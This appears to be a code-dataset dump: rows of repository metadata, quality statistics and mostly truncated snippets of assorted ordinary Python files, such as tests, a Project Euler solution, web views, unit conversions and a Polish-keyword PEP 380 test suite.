0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
756f481a3e4e6de96f264ff90ac3f66c0ceb60fe
468
py
Python
tests/stdlib/test_datetime_timedelta.py
shashd/voc_mp_group3
257ec1d449c2f4fb2e04eda390d978a4021b4463
[ "BSD-3-Clause" ]
null
null
null
tests/stdlib/test_datetime_timedelta.py
shashd/voc_mp_group3
257ec1d449c2f4fb2e04eda390d978a4021b4463
[ "BSD-3-Clause" ]
6
2021-09-09T08:14:58.000Z
2021-09-22T19:09:15.000Z
tests/stdlib/test_datetime_timedelta.py
shashd/voc_mp_group3
257ec1d449c2f4fb2e04eda390d978a4021b4463
[ "BSD-3-Clause" ]
null
null
null
from ..utils import TranspileTestCase class TestTimeDelta(TranspileTestCase): def test_constructor(self): self.assertCodeExecution(""" from datetime import timedelta print(timedelta(1).days) print(timedelta(seconds = 2).seconds) print(timedelta(days = 3).da...
26
49
0.561966
45
468
5.822222
0.555556
0.21374
0.114504
0.145038
0
0
0
0
0
0
0
0.016129
0.337607
468
17
50
27.529412
0.829032
0
0
0
0
0
0.673077
0.100427
0
0
0
0
0.076923
1
0.076923
false
0
0.153846
0
0.307692
0.384615
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
75828f9bb3f13f5c2e9789d845a8e4ff12730eb5
254
py
Python
problem_117.py
renxiaoyi/project_euler
2566482209cd225fce39887fe869f839cf88330e
[ "Unlicense" ]
null
null
null
problem_117.py
renxiaoyi/project_euler
2566482209cd225fce39887fe869f839cf88330e
[ "Unlicense" ]
null
null
null
problem_117.py
renxiaoyi/project_euler
2566482209cd225fce39887fe869f839cf88330e
[ "Unlicense" ]
null
null
null
import petools @petools.Memorize def PermBlocks(n): if n < 0: return 0 elif n < 2: return 1 else: return (PermBlocks(n-1) # black first + sum(PermBlocks(n-i) for i in range(2, 5))) # colored first print PermBlocks(50)
15.875
73
0.610236
39
254
3.974359
0.615385
0.212903
0
0
0
0
0
0
0
0
0
0.04918
0.279528
254
15
74
16.933333
0.797814
0.098425
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0.090909
null
null
0.090909
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
759fe1d8c43d8d0c238532d6703ec495c3c6a337
856
py
Python
sw_downloader/sw_downloader/pipelines.py
aezhov/sw_downloader
325f6fe98579dda4f98613e4513fc46c7bd962c7
[ "MIT" ]
1
2020-01-23T06:56:34.000Z
2020-01-23T06:56:34.000Z
sw_downloader/sw_downloader/pipelines.py
aezhov/sw_downloader
325f6fe98579dda4f98613e4513fc46c7bd962c7
[ "MIT" ]
null
null
null
sw_downloader/sw_downloader/pipelines.py
aezhov/sw_downloader
325f6fe98579dda4f98613e4513fc46c7bd962c7
[ "MIT" ]
2
2020-01-23T06:56:36.000Z
2020-01-24T05:34:25.000Z
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html from scrapy.pipelines.files import FilesPipeline from furl import furl from .utils import format_dirname import os class SwD...
31.703704
76
0.690421
108
856
5.398148
0.555556
0.041166
0
0
0
0
0
0
0
0
0
0.001484
0.212617
856
26
77
32.923077
0.863501
0.26986
0
0
0
0
0
0
0
0
0
0
0
1
0.076923
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
75aa1ad840a754937cfe3cb91fd00d3913f4cf2a
331
py
Python
# estrutura encadeada devemos usar o com.py
Alex-ARLS/exerciccios-em-python
8f81643180adf2551a21ea00fa44c16aaa7585a8
[ "MIT" ]
null
null
null
# estrutura encadeada devemos usar o com.py
Alex-ARLS/exerciccios-em-python
8f81643180adf2551a21ea00fa44c16aaa7585a8
[ "MIT" ]
null
null
null
# estrutura encadeada devemos usar o com.py
Alex-ARLS/exerciccios-em-python
8f81643180adf2551a21ea00fa44c16aaa7585a8
[ "MIT" ]
null
null
null
# estrutura encadeada devemos usar o comando "elif", que é uma abreviação de else codigo_compra = 5444 if codigo_compra == 5222: print("compra a vista.") elif codigo_compra == 5333: print("compra a prazo no boleto.") elif codigo_compra ==5444: print("compra a prazo no cartao.") else: print("código não ca...
30.090909
82
0.716012
49
331
4.755102
0.591837
0.206009
0.154506
0.145923
0.16309
0
0
0
0
0
0
0.059041
0.181269
331
10
83
33.1
0.800738
0.241692
0
0
0
0
0.345382
0
0
0
0
0
0
1
0
false
0
0
0
0
0.444444
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
75ab4ce2918e46cb72b8a86b1952a7f5ab7951fb
5,260
py
Python
ntbk/entities/collections.py
bbeng89/ntbk
770ecd9c6223d9579114731a5efa9f9e3c766bad
[ "MIT" ]
1
2021-12-22T19:28:55.000Z
2021-12-22T19:28:55.000Z
ntbk/entities/collections.py
bbeng89/ntbk
770ecd9c6223d9579114731a5efa9f9e3c766bad
[ "MIT" ]
16
2021-12-22T19:16:25.000Z
2022-01-26T16:44:57.000Z
ntbk/entities/collections.py
bbeng89/ntbk
770ecd9c6223d9579114731a5efa9f9e3c766bad
[ "MIT" ]
null
null
null
"""Classes to represent Collection entities in the app""" # app imports from ntbk.entities.templates import Template class Collection(): """Represents a folder in the /collections directory. It can contain multiple files Arguments: config - Config instance filesystem - Filesystem instance ...
35.782313
98
0.66711
662
5,260
5.187311
0.193353
0.040769
0.023296
0.032033
0.454572
0.370705
0.349738
0.217239
0.196855
0.146185
0
0
0.244487
5,260
146
99
36.027397
0.864117
0.403612
0
0.274194
0
0
0.038912
0.010675
0
0
0
0
0
1
0.33871
false
0
0.016129
0
0.741935
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
75ba2bd7ca78cf8172821d64c4478f1fa0077703
474
py
Python
test/test_history.py
fidoman/dumbhost
b18c5572c9dd9249b68815e306cdbafe94a61638
[ "MIT" ]
null
null
null
test/test_history.py
fidoman/dumbhost
b18c5572c9dd9249b68815e306cdbafe94a61638
[ "MIT" ]
null
null
null
test/test_history.py
fidoman/dumbhost
b18c5572c9dd9249b68815e306cdbafe94a61638
[ "MIT" ]
null
null
null
#!/usr/bin/python import dumbhost.history for x in xrange(30): print x, history.get_send_permission("test_user") # It must on each iteration add 1 record # remove old records # create file if it does not exists # tests: # 1. create file # 2. allow if count < limit # 3. allow if count >= limit but non-outdated rec...
24.947368
95
0.740506
79
474
4.405063
0.696203
0.060345
0.103448
0.146552
0
0
0
0
0
0
0
0.020725
0.185654
474
18
96
26.333333
0.880829
0.742616
0
0
0
0
0.080357
0
0
0
0
0
0
0
null
null
0
0.333333
null
null
0.333333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
75c2e6dca068ff739f1063a8077d876a7e53f747
1,116
py
Python
wargame_admin/consumers.py
radl97/wargame-web
4062b05717bacb5c1a2c178f3a8bd07af7a18b10
[ "MIT" ]
2
2020-10-06T17:07:32.000Z
2020-10-15T09:25:42.000Z
wargame_admin/consumers.py
radl97/wargame-web
4062b05717bacb5c1a2c178f3a8bd07af7a18b10
[ "MIT" ]
67
2018-06-22T09:12:44.000Z
2022-03-11T23:34:39.000Z
wargame_admin/consumers.py
radl97/wargame-web
4062b05717bacb5c1a2c178f3a8bd07af7a18b10
[ "MIT" ]
2
2020-10-05T21:13:48.000Z
2020-10-10T13:46:20.000Z
import json from enum import Enum from asgiref.sync import async_to_sync from channels.generic.websocket import WebsocketConsumer from channels.layers import get_channel_layer class MessageType(Enum): ERROR = (0,) WARNING = (1,) INFO = (2,) SUCCESS = 3 def log(message, log_var, log_level): chan...
27.9
120
0.691756
153
1,116
4.810458
0.405229
0.097826
0.059783
0.040761
0.154891
0.154891
0.086957
0
0
0
0
0.004376
0.181004
1,116
39
121
28.615385
0.800875
0
0
0
0
0
0.067204
0
0
0
0
0
0
1
0.222222
false
0.037037
0.185185
0.037037
0.703704
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
75d974ff9af5d5cec7ac11a3ff93190eebb92b2e
2,423
py
Python
multiprocess.py
Baz2013/remote_shell
98ce5f1e7b63618d4d83fe6a8c761b8e816f383c
[ "MIT" ]
null
null
null
multiprocess.py
Baz2013/remote_shell
98ce5f1e7b63618d4d83fe6a8c761b8e816f383c
[ "MIT" ]
2
2017-11-15T07:33:54.000Z
2017-11-16T10:07:02.000Z
multiprocess.py
Baz2013/remote_shell
98ce5f1e7b63618d4d83fe6a8c761b8e816f383c
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- from multiprocessing import Pool, Queue, Lock, SimpleQueue import Queue import os import time import random import argparse import utils MAX_PROCESS = 5 def executor(name, r_queue): # print 'Run task %s (%s)...' % (name, os.getpid()) start = time.time() time.sleep(random.random() ...
27.224719
100
0.619893
328
2,423
4.387195
0.295732
0.037526
0.034746
0.062543
0.145935
0.145935
0.043085
0.043085
0.043085
0
0
0.006427
0.229468
2,423
89
101
27.224719
0.764328
0.080891
0
0
0
0
0.137666
0
0
0
0
0
0
0
null
null
0.075472
0.132075
null
null
0.113208
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
f94da276937f5716620bd6eee8bf0c73b491f8ab
6,005
py
Python
code/build_tree.py
naman308/thesis_project
d3f1fc50c56e7466635d9a115c777ced4e375a8d
[ "MIT" ]
94
2019-06-10T07:53:10.000Z
2022-03-23T12:17:30.000Z
code/build_tree.py
naman308/thesis_project
d3f1fc50c56e7466635d9a115c777ced4e375a8d
[ "MIT" ]
8
2019-06-12T22:50:21.000Z
2021-11-27T02:12:54.000Z
code/build_tree.py
naman308/thesis_project
d3f1fc50c56e7466635d9a115c777ced4e375a8d
[ "MIT" ]
31
2019-07-15T08:28:58.000Z
2022-03-31T03:08:57.000Z
from utils import Voc """ ALL """ def _remove_duplicate(input): return list(set(input)) def build_stage_one_edges(res, graph_voc): """ :param res: :param graph_voc: :return: edge_idx [[1,2,3],[0,1,0]] """ edge_idx = [] for sample in res: sample_idx = list(map(lambda x: graph_...
33.547486
119
0.506078
846
6,005
3.471631
0.450355
0.057201
0.034048
0.042901
0.502894
0.489275
0.489275
0.489275
0.489275
0.464079
0
0.233286
0.297585
6,005
178
120
33.735955
0.463016
0.083764
0
0.490741
0
0
0.212746
0
0
0
0
0
0
1
0.064815
false
0
0.009259
0.009259
0.138889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f97046e458cdf132a3e548ea4caeb76fd16d6a60
264
py
Python
python-practice/try_except/test.py
daohuei/practice-playground
50522a57ef056108c662cf668f26c97078caf61c
[ "MIT" ]
null
null
null
python-practice/try_except/test.py
daohuei/practice-playground
50522a57ef056108c662cf668f26c97078caf61c
[ "MIT" ]
null
null
null
python-practice/try_except/test.py
daohuei/practice-playground
50522a57ef056108c662cf668f26c97078caf61c
[ "MIT" ]
null
null
null
def test(x): try: if x: print(x) else: raise (Exception) except: print("wrong") finally: print("finally") print("after finally") if __name__ == "__main__": test(None) test("hello")
14.666667
29
0.473485
27
264
4.333333
0.62963
0.205128
0
0
0
0
0
0
0
0
0
0
0.393939
264
17
30
15.529412
0.73125
0
0
0
0
0
0.143939
0
0
0
0
0
0
1
0.071429
false
0
0
0
0.071429
0.285714
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f99603e8eec1673f4a64cee36ee57110d5ee25f8
1,651
py
Python
_GTW/_OMP/_SWP/Gallery.py
Tapyr/tapyr
4235fba6dce169fe747cce4d17d88dcf4a3f9f1d
[ "BSD-3-Clause" ]
6
2016-12-10T17:51:10.000Z
2021-10-11T07:51:48.000Z
_GTW/_OMP/_SWP/Gallery.py
Tapyr/tapyr
4235fba6dce169fe747cce4d17d88dcf4a3f9f1d
[ "BSD-3-Clause" ]
null
null
null
_GTW/_OMP/_SWP/Gallery.py
Tapyr/tapyr
4235fba6dce169fe747cce4d17d88dcf4a3f9f1d
[ "BSD-3-Clause" ]
3
2020-03-29T07:37:03.000Z
2021-01-21T16:08:40.000Z
# -*- coding: utf-8 -*- # Copyright (C) 2010-2014 Mag. Christian Tanzer All rights reserved # Glasauergasse 32, A--1130 Wien, Austria. tanzer@swing.co.at # **************************************************************************** # This module is part of the package GTW.OMP.SWP. # # This module is licensed under the...
27.983051
78
0.573592
193
1,651
4.704663
0.53886
0.039648
0.059471
0.035242
0.050661
0
0
0
0
0
0
0.029249
0.233798
1,651
58
79
28.465517
0.683004
0.592974
0
0
0
0
0.014354
0
0
0
0
0
0
1
0
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
f9a06207c84974886efff2ac173bc51a89719379
29,913
py
Python
Lib/test/test_pep380.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
1
2018-06-21T18:21:24.000Z
2018-06-21T18:21:24.000Z
Lib/test/test_pep380.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
null
null
null
Lib/test/test_pep380.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Test suite dla PEP 380 implementation adapted z original tests written by Greg Ewing see <http://www.cosc.canterbury.ac.nz/greg.ewing/python/uzyskaj-from/YieldFrom-Python3.1.2-rev5.zip> """ zaimportuj unittest zaimportuj io zaimportuj sys zaimportuj inspect zaimportuj parser z test.suppo...
29.384086
100
0.472704
3,031
29,913
4.576048
0.096008
0.09279
0.034247
0.021918
0.661788
0.635328
0.587022
0.527325
0.505119
0.464528
0
0.024047
0.427239
29,913
1,017
101
29.412979
0.785502
0.031826
0
0.75237
0
0
0.163477
0
0
0
0
0
0.065166
0
null
null
0
0.007109
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
f9a523749d6521a99b44004b54227fe7b9247ae3
177
py
Python
helpfriends/usuarios/urls.py
TrivialBox/HackatonUPS2016
6e18c78b5769ab372f694220c56d52d2c6ec946c
[ "MIT" ]
null
null
null
helpfriends/usuarios/urls.py
TrivialBox/HackatonUPS2016
6e18c78b5769ab372f694220c56d52d2c6ec946c
[ "MIT" ]
null
null
null
helpfriends/usuarios/urls.py
TrivialBox/HackatonUPS2016
6e18c78b5769ab372f694220c56d52d2c6ec946c
[ "MIT" ]
null
null
null
from django.conf.urls import url from . import views urlpatterns = [ url(r'^(?P<id>\d{10})/' r'(?P<accion>\d+)/$', views.accion, name='accion' ), ]
17.7
35
0.525424
24
177
3.875
0.625
0.043011
0
0
0
0
0
0
0
0
0
0.015267
0.259887
177
9
36
19.666667
0.694656
0
0
0
0
0
0.220339
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f9a877de9bcb8f93ba55aa492239eb05b3367a96
139
py
Python
build/lib/HappyWorld/__init__.py
asubratgupta/HappyWorld
e9ae99f1a84ad60ff3b51f1b332f7d7d787ed658
[ "MIT" ]
null
null
null
build/lib/HappyWorld/__init__.py
asubratgupta/HappyWorld
e9ae99f1a84ad60ff3b51f1b332f7d7d787ed658
[ "MIT" ]
null
null
null
build/lib/HappyWorld/__init__.py
asubratgupta/HappyWorld
e9ae99f1a84ad60ff3b51f1b332f7d7d787ed658
[ "MIT" ]
null
null
null
import webbrowser, os page = 'file:///' + os.getcwd() + '/WebPage/index.html' if __name__ == "__main__": webbrowser.open_new_tab(page)
27.8
55
0.676259
18
139
4.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.136691
139
5
56
27.8
0.7
0
0
0
0
0
0.25
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f9b56757319c0fdcf4c2597cb37fb0e1d79b693d
2,249
py
Python
sdk/python/pulumi_azure/ad/service_principal_password.py
Frassle/pulumi-azure
593dd1020b09b83422928913d06bf91538926155
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure/ad/service_principal_password.py
Frassle/pulumi-azure
593dd1020b09b83422928913d06bf91538926155
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure/ad/service_principal_password.py
Frassle/pulumi-azure
593dd1020b09b83422928913d06bf91538926155
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import pulumi import pulumi.runtime from .. import utilities, tables class ServicePrincipalPassword(pulumi.CustomResource): """ ...
40.890909
224
0.695865
272
2,249
5.345588
0.426471
0.077029
0.061898
0.059835
0.145117
0.030261
0
0
0
0
0
0.000575
0.226323
2,249
54
225
41.648148
0.835057
0.256558
0
0
1
0
0.220732
0.035366
0
0
0
0
0
1
0.09375
false
0.09375
0.09375
0.0625
0.28125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
f9d1d7cd26218ff10672dd63217ff914fdd7af28
761
py
Python
helper.py
shagunsodhani/Apriori
50c012c6d72226f95368e99c3361eff6590a66ed
[ "MIT" ]
1
2021-05-28T10:05:43.000Z
2021-05-28T10:05:43.000Z
helper.py
shagunsodhani/Apriori
50c012c6d72226f95368e99c3361eff6590a66ed
[ "MIT" ]
null
null
null
helper.py
shagunsodhani/Apriori
50c012c6d72226f95368e99c3361eff6590a66ed
[ "MIT" ]
null
null
null
import sys from itertools import chain, combinations from collections import defaultdict from optparse import OptionParser def subsets(arr): """ Returns non empty subsets of arr""" return chain(*[combinations(arr, i + 1) for i, a in enumerate(arr)]) def joinSet(itemSet, length): """Join a set with itsel...
34.590909
93
0.660972
106
761
4.726415
0.575472
0.067864
0.027944
0
0
0
0
0
0
0
0
0.001706
0.229961
761
22
94
34.590909
0.853242
0.224704
0
0
0
0
0.006969
0
0
0
0
0
0
1
0.214286
false
0
0.285714
0
0.642857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
f9e3001d96f63d03dc21cb14579d2eead970f0c3
18,233
py
Python
unitrevpy/units/volume.py
leonel-123/unit-converter
00850b2cc35c16d0127a76a15b19433ee463f9a6
[ "MIT" ]
null
null
null
unitrevpy/units/volume.py
leonel-123/unit-converter
00850b2cc35c16d0127a76a15b19433ee463f9a6
[ "MIT" ]
null
null
null
unitrevpy/units/volume.py
leonel-123/unit-converter
00850b2cc35c16d0127a76a15b19433ee463f9a6
[ "MIT" ]
null
null
null
# Volume units import numpy as np from .unit import Unit class Volume(Unit): """ units used cubic_mete, cubic_kilometer, cubic_centimeter, cubic_millimeter, liter, milliliter, us_gallon, us_quart, us_pint, us_cup, us_fluid_ounce, us_table_spoon, us_tea_spoon, imperial_gallon, imperial_quart, imperial_...
52.696532
120
0.552186
2,002
18,233
4.727772
0.279221
0.062124
0.079451
0.08748
0.345695
0.329319
0.2056
0.167142
0.15869
0.083465
0
0.42885
0.353261
18,233
345
121
52.849275
0.373813
0.019251
0
0.089844
0
0
0
0
0
0
0
0
0
1
0.1875
false
0
0.007813
0.089844
0.386719
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dda41853998a860e6b861451b13a4e16437f83b3
379
py
Python
Weight_init.py
choujujua/Semantic-Segmentation
98eae3c8465f8cd4d2cdeb708d81e9bb8941a90f
[ "Apache-2.0" ]
5
2020-07-14T01:39:05.000Z
2021-08-03T03:09:30.000Z
Weight_init.py
choujujua/Semantic-Segmentation
98eae3c8465f8cd4d2cdeb708d81e9bb8941a90f
[ "Apache-2.0" ]
null
null
null
Weight_init.py
choujujua/Semantic-Segmentation
98eae3c8465f8cd4d2cdeb708d81e9bb8941a90f
[ "Apache-2.0" ]
null
null
null
#pytorch 自定义网络权重初始化 def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, BatchNorm2d): ...
37.9
72
0.527704
50
379
3.84
0.62
0.114583
0.114583
0
0
0
0
0
0
0
0
0.028226
0.345646
379
9
73
42.111111
0.745968
0.047493
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
ddb86721042893e6a663f99aa6f9ba226e938444
250
py
Python
lib/rabbitmq-dotnet-client-rabbitmq_v3_4_4/docs/pyle2-fcfcf7e/sublanguages/comment.py
CymaticLabs/Unity3d.Amqp
42ca5de66fcda21ef6a4040bade99118b2ad6374
[ "MIT" ]
83
2017-03-15T12:43:25.000Z
2022-03-31T12:38:44.000Z
lib/rabbitmq-dotnet-client-rabbitmq_v3_4_4/docs/pyle2-fcfcf7e/sublanguages/comment.py
CymaticLabs/Unity3d.Amqp
42ca5de66fcda21ef6a4040bade99118b2ad6374
[ "MIT" ]
18
2017-03-20T14:12:58.000Z
2021-07-28T09:11:55.000Z
lib/rabbitmq-dotnet-client-rabbitmq_v3_4_4/docs/pyle2-fcfcf7e/sublanguages/comment.py
CymaticLabs/Unity3d.Amqp
42ca5de66fcda21ef6a4040bade99118b2ad6374
[ "MIT" ]
25
2017-04-01T01:40:02.000Z
2022-02-20T11:08:12.000Z
info = { "friendly_name": "Comment (Block)", "example_template": "comment text", "summary": "The text within the block is not interpreted or rendered in the final displayed page.", } def SublanguageHandler(args, doc, renderer): pass
27.777778
103
0.692
31
250
5.516129
0.83871
0
0
0
0
0
0
0
0
0
0
0
0.192
250
8
104
31.25
0.846535
0
0
0
0
0
0.592
0
0
0
0
0
0
1
0.142857
false
0.142857
0
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
ddbd8681f89bd5a9371cf1c5aeca9517b08537b4
251
py
Python
setup.py
sotlampr/personal-site
c7bc369ff2befba5cea8bad6c1c6808d56a17cec
[ "MIT" ]
null
null
null
setup.py
sotlampr/personal-site
c7bc369ff2befba5cea8bad6c1c6808d56a17cec
[ "MIT" ]
null
null
null
setup.py
sotlampr/personal-site
c7bc369ff2befba5cea8bad6c1c6808d56a17cec
[ "MIT" ]
null
null
null
from setuptools import setup setup(name='Sotlampr Personal Site', version='0.1', description='A basic personal site', author='Sotiris Lamprinidis', author_email='sot.lampr@gmail.com', install_requires=['Flask>=0.10.1'])
27.888889
42
0.673307
32
251
5.21875
0.8125
0.143713
0
0
0
0
0
0
0
0
0
0.029412
0.187251
251
8
43
31.375
0.789216
0
0
0
0
0
0.386454
0
0
0
0
0
0
1
0
true
0
0.142857
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
ddbe3818c8855546d13cfd479196d9474cf0ca81
254
py
Python
CodeWars_challenges/big_number_to_small_intergers.py
LukeBlech/Lukes_Python_HB
ad4152902b0afd1238cabb673a92c38c65c13fd4
[ "MIT" ]
null
null
null
CodeWars_challenges/big_number_to_small_intergers.py
LukeBlech/Lukes_Python_HB
ad4152902b0afd1238cabb673a92c38c65c13fd4
[ "MIT" ]
null
null
null
CodeWars_challenges/big_number_to_small_intergers.py
LukeBlech/Lukes_Python_HB
ad4152902b0afd1238cabb673a92c38c65c13fd4
[ "MIT" ]
null
null
null
def digitize(n): if n == 0: return[0] else: digits = [] while n > 0: digits.append(n % 10) n = (n - n % 10) // 10 return(digits[::-1]) #def digitize(n): #return list(map(int, str(n)))cc
21.166667
36
0.429134
35
254
3.114286
0.485714
0.201835
0.220183
0
0
0
0
0
0
0
0
0.065359
0.397638
254
12
36
21.166667
0.647059
0.185039
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0
0
0.111111
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ddc759afb8a70e79b07b7f96ba343b12b3a9d209
1,822
py
Python
equipment/weapons.py
jyurkiw/py_cyberpunk_2020_rest_api
f423761622c11b6f91556560a309697144a166a5
[ "MIT" ]
null
null
null
equipment/weapons.py
jyurkiw/py_cyberpunk_2020_rest_api
f423761622c11b6f91556560a309697144a166a5
[ "MIT" ]
null
null
null
equipment/weapons.py
jyurkiw/py_cyberpunk_2020_rest_api
f423761622c11b6f91556560a309697144a166a5
[ "MIT" ]
null
null
null
from util import db from util import getFilteredQuery from flask import jsonify from flask_restful import Resource from flask_restful import reqparse from urllib.parse import unquote _weaponsCollection = db.weapons class WeaponsListApi(Resource): def get(self): return jsonify(getFilteredQue...
30.366667
81
0.665752
167
1,822
7.149701
0.269461
0.052764
0.099665
0.090452
0.234506
0.234506
0.18258
0.065327
0
0
0
0
0.244237
1,822
59
82
30.881356
0.867102
0
0
0.159091
0
0
0.063528
0
0
0
0
0
0
1
0.136364
false
0
0.136364
0.113636
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
ddd1210cd7c660d34657def37775fe9c6b75b83c
3,895
py
Python
ptmsa/ptmsa/custom_ptmsa.py
jof2jc/ptmsa
af5694342050b1b6042c3bb87282e1e6d843cf56
[ "MIT" ]
null
null
null
ptmsa/ptmsa/custom_ptmsa.py
jof2jc/ptmsa
af5694342050b1b6042c3bb87282e1e6d843cf56
[ "MIT" ]
null
null
null
ptmsa/ptmsa/custom_ptmsa.py
jof2jc/ptmsa
af5694342050b1b6042c3bb87282e1e6d843cf56
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2015, jonathan and Contributors # See license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import flt, cstr from frappe.desk.reportview import get_match_cond, get_filters_cond from frappe.utils import nowdate from collections im...
39.744898
151
0.701412
631
3,895
4.099842
0.144216
0.100889
0.062621
0.045999
0.695014
0.679938
0.653653
0.653653
0.642443
0.642443
0
0.021633
0.157381
3,895
97
152
40.154639
0.766606
0.137356
0
0.578125
0
0.09375
0.3181
0.006571
0
0
0
0
0
0
null
null
0
0.109375
null
null
0.171875
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
ddd770309dcc065d04374339a5441d3d6c05bcaf
348
py
Python
server/organization/serializers.py
NicholasNagy/ALTA
ca07627481ee91f2969b0fc8e8f15e2a37b3e992
[ "Apache-2.0" ]
3
2020-09-09T23:26:29.000Z
2020-10-17T22:58:34.000Z
server/organization/serializers.py
NicholasNagy/ALTA
ca07627481ee91f2969b0fc8e8f15e2a37b3e992
[ "Apache-2.0" ]
294
2020-09-27T17:20:50.000Z
2021-06-23T01:44:09.000Z
server/organization/serializers.py
NicholasNagy/ALTA
ca07627481ee91f2969b0fc8e8f15e2a37b3e992
[ "Apache-2.0" ]
10
2020-10-07T05:25:30.000Z
2021-05-01T05:32:59.000Z
from rest_framework import serializers from .models import Organization class OrganizationSerializer(serializers.ModelSerializer): class Meta: model = Organization fields = ['org_id', 'org_name', 'address', 'status', 'inventory_items_refresh_job', 'calendar_date', 'file', 'ftp_lo...
34.8
116
0.706897
35
348
6.771429
0.828571
0
0
0
0
0
0
0
0
0
0
0
0.189655
348
9
117
38.666667
0.840426
0
0
0
0
0
0.281609
0.077586
0
0
0
0
0
1
0
false
0
0.285714
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
